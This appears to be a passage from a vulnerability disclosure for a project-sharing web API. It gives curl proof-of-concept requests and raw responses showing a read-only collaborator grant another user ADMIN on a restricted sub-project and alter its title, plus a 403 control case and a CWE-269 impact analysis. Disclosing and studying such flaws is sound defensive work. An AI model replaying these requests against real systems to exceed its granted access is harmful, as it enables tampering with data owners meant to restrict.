Details
Raw HTTP response
HTTP/1.1 201 Created
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 128
{"id":12,"username":"bob","permission":2,"created":"2026-09-07T17:39:34.158776607Z","updated":"2026-09-07T17:39:34.158778081Z"}
alice - restricted to READ on project 19 - successfully granted bob ADMIN(2) on it (a share-management
operation that requires project admin). She can equally modify it:
# write op (POST = update); succeeds -> HTTP 200
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:3456/api/v1/projects/19 \
-H 'Content-Type: application/json' -H 'Authorization: Bearer <alice-token>' \
-d '{"title":"Q4-Payroll-TAMPERED-BY-ALICE"}'
# -> 200
Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ
curl
curl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <alice-token>' -d '{"username":"bob","permission":0}'
Raw HTTP response
HTTP/1.1 403 Forbidden
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 33
{"code":0,"message":"Forbidden"}
The single-variable differential: alice's identical READ(0) grant denies the admin operation on a
standalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is
silently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the
inherited-permission override, not to alice's explicit grant.
Impact
This is a broken access control / improper privilege management issue (CWE-269). A project owner who
grants a collaborator a high permission on a parent project and then explicitly shares a sensitive
sub-project with that collaborator at a lower permission (e.g. read-only) does not get the
restriction they configured: the collaborator silently retains the higher inherited permission on the
sub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:
granting bob ADMIN on the read-restricted child). This defeats an explicit, security-relevant
configuration and can expose or allow tampering with data on sub-projects that were meant to be
restricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The
prerequisite is that the attacker already holds a higher permission on an ancestor project; the security
loss is specifically the inability to enforce a narrower permission on a descendant.